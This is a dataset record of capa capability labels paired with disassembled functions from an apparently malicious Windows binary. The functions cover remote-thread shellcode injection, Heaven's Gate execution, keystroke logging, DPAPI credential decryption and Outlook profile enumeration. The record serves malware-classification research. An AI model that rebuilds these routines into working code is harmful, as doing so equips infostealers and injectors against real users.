joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407609
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov esi, dword [edi + 4]
test esi, esi
je 0x407639
mov eax, dword [esi]
dec dword [edi + 0x3c]
mov dword [edi + 4], eax
cmp dword [esi + 8], 0
je 0x40762d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, esi
call fcn.004075b1
movzx eax, bx
jmp 0x40765b
push 0x10
call fcn.00401000
mov ecx, ebx
mov esi, eax
shl ecx, 2
push ecx
call fcn.00401000
pop ecx
pop ecx
movzx ecx, bx
mov dword [esi + 0xc], eax
mov eax, ecx
mov word [esi + 6], cx
and dword [esi], 0
mov word [esi + 4], ax
mov eax, esi
mov dword [esi + 8], 1
inc dword [edi + 0x38]
pop edi
pop esi
pop ebx
ret

Function at 0x407d2f
Capabilities:
Connect socket
Receive data
Receive data on socket
Reference http user-agent string
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
push 2
xor edi, edi
pop ebx
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x38], edi
push edi
push str.microsoft.com
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x407e31
mov eax, dword [ebp - 4]
push edi
push 1
push ebx
mov esi, dword [eax + 0x18]
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x407e31
mov ecx, dword [esi + 4]
push 2
pop eax
push 0x50
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x1c], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp - 4]
mov word [ebp - 0x1a], ax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push edi
push edi
push edi
push edi
push 0x10
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
je 0x407e31
push edi
push 0x16c
push str._r_nGET_http:__microsoft.com__HTTP_1.1_r_nHost:_microsoft.com_r_nUser_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:100.0__Gecko_20100101_Firefox_100.0_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9_image_avif_image_webp___q0.8_r_nAccept_Language:_en_US_en_q0.5_r_nAccept_Encoding:_gzip__deflate_r_nConnection:_keep_alive_r_nUpgrade_Insecure_Requests:_1_r_n
push ebx
call dword [sym.imp.WS2_32.dll_send]
push 0x200
call fcn.00401000
pop ecx
push edi
push 0x200
mov esi, eax
push esi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, esi
mov edi, eax
call fcn.00407965
push esi
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
call fcn.00401014
pop ecx
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
cmp edi, 0x64
pop edi
push 2
pop ebx
jl 0x407d3d
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
jmp 0x407e35
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40904d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
push 0x1c
mov dword [ebp - 4], ecx
call fcn.00401000
pop ecx
mov ebx, eax
xor eax, eax
push 7
pop ecx
mov edi, ebx
mov dword [ebp - 0x10], ebx
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 0xc]
mov ecx, dword [edi + 4]
lea esi, [edi + 8]
mov dword [ebx + 0xc], ecx
lea ecx, [ebx + 0x10]
push esi
call fcn.004035de
mov eax, dword [ebp + 8]
lea ecx, [ebp + 8]
mov dword [ebx + 4], eax
mov eax, dword [ebp - 4]
mov dword [ebx], eax
mov eax, dword [edi + 4]
push esi
mov dword [ebx + 0x18], eax
call fcn.00403611
push esi
lea ecx, [ebp + 0xc]
call fcn.00403611
lea edx, [ebp + 0xc]
lea ecx, [ebp - 8]
call fcn.004036b3
mov ecx, dword [ebp + 0xc]
call fcn.004068b7
mov ecx, dword [ebp + 8]
call fcn.004068b7
push 0x208
call fcn.00401000
pop ecx
lea ecx, [ebp - 8]
mov esi, eax
call fcn.00403649
lea eax, [eax*2 + 2]
push eax
push dword [ebp - 8]
push esi
call fcn.004012a9
mov dword [ebx + 0x14], esi
add esp, 0xc
mov eax, dword [edi + 4]
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 4]
mov dword [ebp - 0x18], eax
lea ecx, [ebx + 0x10]
call fcn.004152df
lea eax, [ebp - 0xc]
push eax
xor eax, eax
push eax
push dword [ebp - 0x10]
push 0x40929f
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0xc
mov dword [ebp - 0x1c], eax
mov edi, esp
lea esi, [ebp - 0x1c]
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00409517
push dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [ebp - 8]
call fcn.004068b7
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40914a
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0xc], ebx
lea eax, [ebx + 0x10]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.004152df
mov ecx, dword [ebx + 8]
xor eax, eax
mov dword [ebp - 8], eax
test ecx, ecx
je 0x4091ae
xor edi, edi
cmp eax, ecx
mov dword [ebp - 0x10], edi
setb cl
call fcn.0040675f
mov esi, dword [ebx]
mov ecx, dword [ebp + 0xc]
add esi, edi
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 8]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x24], ecx
je 0x4091c4
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebx + 8]
add edi, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], edi
cmp eax, ecx
jb 0x409178
xor esi, esi
mov eax, dword [ebp - 0x1c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
cmp esi, dword [ebx + 8]
setb cl
call fcn.0040675f
imul ebx, esi, 0xc
lea edi, [ebp - 0x28]
mov esi, dword [ebp - 0xc]
mov esi, dword [esi]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x20]
call fcn.004068b7
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp eax, dword [esi + 8]
setb cl
call fcn.0040675f
mov esi, dword [esi]
lea edi, [ebp - 0x28]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
push edi
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [ebp - 0xc]
mov esi, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], esi
cmp eax, dword [ebx + 8]
setb cl
call fcn.0040675f
mov eax, dword [ebx + 8]
mov ecx, dword [ebp - 0x14]
cmp ecx, eax
ja 0x40924b
imul edx, ecx, 0xc
mov esi, dword [ebx]
add esi, edx
inc ecx
add edx, 0xc
lea edi, [esi - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebx + 8]
cmp ecx, eax
jbe 0x409231
mov esi, dword [ebp - 0x10]
xor edi, edi
dec eax
cmp dword [ebp + 0x10], 0
mov dword [ebx + 8], eax
je 0x4091b0
push 3
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push eax
push edi
push edi
push edi
push edi
push ecx
mov eax, esp
mov dword [ebp - 0x14], edi
push dword [ebp + 0xc]
lea ecx, [ebp - 0x4c]
mov dword [eax], edi
call fcn.00404458
mov ecx, dword [ebp + 8]
push eax
call fcn.00405262
lea ecx, [ebp - 0x4c]
call fcn.00404566
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x4091b0
call fcn.00406955
jmp 0x4091b0
Function at 0x4096d5
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp byte [0x4206a4], 0
push ebx
push esi
mov ebx, edx
mov dword [ebp - 0x10], ecx
jne 0x4096f9
call fcn.00409996
test eax, eax
setne byte [0x4206a4]
push dword [ebp + 8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x409717
or eax, 0xffffffff
jmp 0x4097c1
push edi
push 0x40
push 0x3000
push 0x100000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x4097bd
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x40
push 0x3000
push 0x100
push 0x33370000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x4097bd
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
push 6
push str.XXXXXX
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4097b9
cmp dword [ebp - 4], 6
jne 0x4097b9
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4097b9
cmp dword [ebp - 8], ebx
jne 0x4097b9
xor eax, eax
push eax
push eax
push eax
push edi
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x4097c0
push 0xfffffffffffffffd
jmp 0x4097bf
push 0xfffffffffffffffe
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4098cf
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ebx
push esi
push edi
call fcn.004146a7
push 0x40
push 0x1000
push 0xff
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 5
pop ecx
mov esi, 0x41ab88
lea edi, [ebx + eax]
rep movsd dword es:[edi], dword [esi]
push 0x44
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.004012cf
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40996a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.004146d4
mov eax, dword [ebp - 0xc]
jmp 0x409972
mov ecx, dword [ebp - 4]
call fcn.004146d4
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4099b2
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
cmp dword [0x4206a8], 0
push ebx
push esi
push edi
jne 0x4099cd
xor eax, eax
xor edx, edx
jmp 0x409b14
mov esi, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
test esi, esi
jle 0x4099ec
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
dec esi
mov dword [ebp + 0x10], esi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
jmp 0x4099f4
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
mov ecx, edx
test esi, esi
jle 0x409a0e
dec esi
add edx, 8
mov dword [ebp + 0x10], esi
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ecx
jmp 0x409a16
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
mov ecx, edx
test esi, esi
jle 0x409a30
dec esi
add edx, 8
mov dword [ebp + 0x10], esi
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
jmp 0x409a38
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov ecx, edx
test esi, esi
jle 0x409a52
dec esi
add edx, 8
mov dword [ebp + 0x10], esi
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
jmp 0x409a5a
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
and dword [ebp - 8], 0
mov eax, edx
and dword [ebp - 0xc], 0
xorps xmm0, xmm0
cdq
mov dword [ebp - 0x44], eax
mov eax, esi
mov dword [ebp - 0x40], edx
cdq
movlpd qword [ebp - 0x3c], xmm0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov word [ebp - 0xc], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 8], esp
and esp, 0xfffffff0
push 0x33
call fcn.00409a95
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409b19
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], 0x17
mov dword [ebp - 8], str.LdrGetProcedureAddress
push ebx
push esi
push edi
test ecx, ecx
jne 0x409b42
test eax, eax
jne 0x409b42
xor al, al
jmp 0x409ba0
mov byte [ebp - 1], 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
push 0x33
call fcn.00409b53
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409ba5
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5dc
cmp dword [0x4206a8], 0
push ebx
push esi
push edi
je 0x409ece
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
push 0x33
call fcn.00409bcd
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409f14
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
push ebx
push esi
push edi
call fcn.00409eee
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
cmp eax, ecx
jne 0x409f39
cmp edx, ecx
je 0x40a2c8
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
push 0x33
call fcn.00409f4f
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a66f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [esi + 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [esi], eax
test eax, eax
pop esi
setne cl
mov eax, ecx
pop ebp
ret 8

Function at 0x40a6c7
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x40a6e1
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi], 0
pop esi
ret

Function at 0x40aafd
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
xor eax, eax
push ebx
push esi
push edi
mov ebx, ecx
movzx esi, dl
mov edi, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, esi
cmp esi, 0x5c
ja 0x40abb1
je case.0x40abcb.96
cmp esi, 0x22
ja 0x40ab78
je case.0x40abcb.96
cmp esi, 0x11
ja 0x40ab60
je case.0x40abcb.96
sub eax, 8
je case.0x40abcb.96
sub eax, 1
je case.0x40abcb.96
sub eax, 4
je case.0x40abcb.96
sub eax, 3
jmp 0x40abf0
sub eax, 0x12
je case.0x40abcb.96
dec eax
sub eax, 1
je case.0x40abcb.96
sub eax, 0xd
jmp 0x40abf0
cmp esi, 0x27
ja 0x40ab9a
je case.0x40abcb.96
sub eax, 0x23
je case.0x40abcb.96
sub eax, 1
je case.0x40abcb.96
sub eax, 1
jmp 0x40abeb
cmp esi, 0x28
je case.0x40abcb.96
cmp esi, 0x2e
je case.0x40abcb.96
cmp esi, 0x5b
jmp 0x40abf0
mov ecx, 0xa4
cmp esi, ecx
ja 0x40abd2
je case.0x40abcb.96
sub eax, 0x60
cmp eax, 9
ja case.default.0x40abcb
movzx eax, byte [eax + 0x40ac45]
jmp dword [eax*4 + 0x40ac41]
sub eax, 0xa5
je case.0x40abcb.96
sub eax, 8
je case.0x40abcb.96
sub eax, 1
je case.0x40abcb.96
sub eax, 1
je case.0x40abcb.96
sub eax, 3
je case.0x40abcb.96
sub eax, 1
je case.0x40abcb.96
push 0x100
xor edi, edi
lea eax, [ebp - 0x100]
push edi
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push edi
push 1
lea eax, [ebx + 8]
push eax
lea eax, [ebp - 0x100]
push eax
push edi
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
push eax
push esi
call dword [sym.imp.USER32.dll_ToUnicode]
jmp 0x40ac39
mov dword [ebx + 4], esi
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x40ac4f
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push ebx
push esi
push edi
push 0x100
push 0
push eax
mov bl, cl
call fcn.004012cf
add esp, 0xc
movzx esi, bl
push 0
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov edi, eax
cmp esi, 0x63
ja 0x40ad4b
je 0x40acb9
cmp esi, 0x24
ja 0x40ad16
je 0x40acb9
cmp esi, 0x12
ja 0x40ad07
je 0x40acb9
mov eax, esi
sub eax, 8
je 0x40acb9
sub eax, 1
je 0x40acb9
sub eax, 4
je 0x40acb9
sub eax, 3
je 0x40acb9
sub eax, 1
jne 0x40acbf
or edi, 0x100
push 0x100
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push 0
push 1
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x100]
push eax
push edi
push esi
call dword [sym.imp.USER32.dll_ToUnicode]
pop edi
pop esi
lea eax, [ebp - 0x200]
pop ebx
leave
ret
mov eax, esi
sub eax, 0x14
je 0x40acb9
sub eax, 0xc
jmp 0x40adb2
cmp esi, 0x5b
ja 0x40ad3b
je 0x40acb9
mov eax, esi
sub eax, 0x25
je 0x40acb9
sub eax, 1
je 0x40acb9
sub eax, 1
je 0x40acb9
sub eax, 1
je 0x40acb9
sub eax, 6
jmp 0x40acb7
mov eax, esi
sub eax, 0x5c
je 0x40acb9
sub eax, 4
jmp 0x40adbb
mov eax, 0xba
cmp esi, eax
ja 0x40ad93
je 0x40acb9
cmp esi, 0x69
ja 0x40ad75
je 0x40acb9
mov eax, esi
sub eax, 0x64
je 0x40acb9
sub eax, 1
jmp 0x40adb2
mov eax, esi
sub eax, 0xad
je 0x40acb9
sub eax, 1
je 0x40acb9
sub eax, 1
jmp 0x40acad
mov eax, 0xc0
cmp esi, eax
ja 0x40adab
je 0x40acb9
mov eax, esi
sub eax, 0xbb
jmp 0x40ad6a
mov eax, esi
sub eax, 0xdb
je 0x40acb9
sub eax, 1
je 0x40acb9
sub eax, 1
jmp 0x40acb2
Function at 0x40e1df
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov eax, 0x104
xor ebx, ebx
push eax
mov dword [ebp - 8], eax
inc ebx
lea eax, [ebp - 0x214]
mov dword [ebp - 0xc], ebx
push 0
push eax
mov edi, edx
mov esi, ecx
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x214]
push str.SoftwareMicrosoftWindowsCurrentVersionApp_Paths_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push ebx
push 0
lea eax, [ebp - 0x214]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40e272
lea eax, [ebp - 8]
push eax
push edi
lea ecx, [ebp - 0xc]
push ecx
push 0
push str.Path
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x40e274
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f28a
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fbc
call fcn.00401240
push ebx
push esi
push edi
push dword [ebp + 8]
mov ebx, 0x1fa0
mov edi, ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x1fbc]
push ebx
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 4]
push ebx
push ebx
push eax
lea eax, [ebp - 0x1fbc]
push eax
push 1
push esi
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
lea eax, [ebp - 0x1fbc]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
call dword [edi + 0x8c]
mov ecx, dword [ebp - 8]
add esp, 0xc
mov eax, dword [ebp - 0xc]
mov byte [ecx + eax], bl
mov ecx, dword [ebp - 8]
lea ecx, [ecx + 1]
call fcn.00406875
mov ecx, dword [ebp + 0xc]
push dword [ebp - 0xc]
push eax
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x41009b
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2014
call fcn.00401240
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
lea eax, [edi - 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov edx, eax
inc esi
cmp edi, esi
jle 0x4100d7
mov ecx, dword [ebp - 4]
mov al, byte [esi + ecx]
mov byte [edx + esi - 1], al
inc esi
cmp esi, edi
jl 0x4100cb
lea eax, [edi - 1]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x410120
test edi, edi
jle 0x410117
mov edx, dword [ebp - 0x10]
lea ecx, [ebp - 0x2014]
movzx eax, byte [edx + esi]
add esi, 2
mov word [ecx], ax
lea ecx, [ecx + 2]
cmp esi, edi
jl 0x410106
lea eax, [ebp - 0x2014]
push eax
jmp 0x410125
push str.Could_not_decrypt
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4104a0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3014
call fcn.00401240
push ebx
push esi
push edi
mov esi, 0x800
mov dword [ebp - 0x10], ecx
push esi
xor ebx, ebx
lea eax, [ebp - 0x1010]
push ebx
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x2010]
push esi
push ebx
push eax
call fcn.004012cf
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
add esp, 0xc
mov esi, 0xf003f
push eax
push esi
push ebx
push 0x41bf10
push closesocket
call edi
test eax, eax
jne 0x410504
push str.SoftwareMicrosoftOffice15.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x41055a
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push closesocket
call edi
test eax, eax
jne 0x410521
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x41055a
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
push closesocket
call edi
test eax, eax
jne 0x41053e
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
jmp 0x41055a
lea eax, [ebp - 4]
push eax
push esi
push ebx
mov esi, str.SoftwareMicrosoftOffice16.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push esi
push closesocket
call edi
test eax, eax
jne 0x41065b
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x1010]
push eax
call esi
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x41065b
cmp dword [ebp - 0xc], ebx
jbe 0x410656
xor eax, eax
mov dword [ebp - 8], 0x800
push eax
push eax
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x3010]
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x41065b
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x2010]
push eax
call esi
push 0x41a58c
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x3010]
push eax
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x2010]
push eax
push closesocket
call edi
test eax, eax
jne 0x41065b
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
call fcn.00410131
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x1010]
push eax
push closesocket
call edi
test eax, eax
jne 0x41065b
inc ebx
cmp ebx, dword [ebp - 0xc]
jb 0x410594
xor eax, eax
inc eax
jmp 0x41065d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret